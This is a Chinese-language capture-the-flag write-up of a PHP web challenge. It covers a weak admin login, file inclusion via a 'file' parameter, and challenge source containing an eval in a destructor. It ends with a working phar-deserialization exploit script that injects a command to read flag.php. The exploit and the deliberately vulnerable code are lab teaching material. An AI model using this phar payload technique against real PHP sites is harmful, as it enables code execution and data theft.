发现我们随便上传一个以后返回的是
alert('Wrong pass'); 密码错误
如果上传一个账号永真的话返回
Not this user!
没有这个用户,所以感觉可以使用盲注,对账号进行盲注
可是题目
ascii(substr((select database()),1,1))>1 也不对
最后才知道是一个弱密码登陆,admin password有点没想到
登陆进去看见了get传参,伪协议读取,只不过是自动加了php后缀
home.php
<?php
session_start();//开启session
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
if(isset($_GET['file'])){//file进行传参
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){//正则过滤,禁了 flag
die("hacker!");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
$file = $_GET['file'].".php";//home和upload自动加php
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "当前引用的是 ".$file;
require $file;
}
}
else{
die("no permission!");
}
}
?>
upload.php
chatuwu
<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
?>
可以看到__destruct魔法函数中有一个eval危险方法,所以我们要利用 这个方法。
可以看到整个类没有反序列化的操作,然后又是文件上传很容易想到phar序列化,
if($this->token != $_SESSION['user'])
我们需要满足这个认证是成功的,所以需要找到这个session['user']
在析构方法中找到了,$this->Filename = $sandbox.$_SESSION['user'].$ext;
上传两次就可以获得,txt前面就是token认证
然后看见了是/var/www/html猜测flag.php就在这个目录的下面
为什么需要上传两次呢这是因为,执行cmd的方法是在destruct,上传第二次,第一次的就会销毁然后就会执行第一次的结果。
<?php
class Uploader{
public $Filename='test';
public $cmd='highlight_file("/var/www/html/flag.php");';
public $token='GXYe3f43ab2c8516edac699d4649327bb1f';
}
$a = new Uploader();
$phar = new Phar('abbbbb.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
这里的test是为了绕过if(preg_match("[^a-z0-9]", $this->Filename)),只能是纯字母或者纯数字
然后得到phar的路径,进行name=phar://路径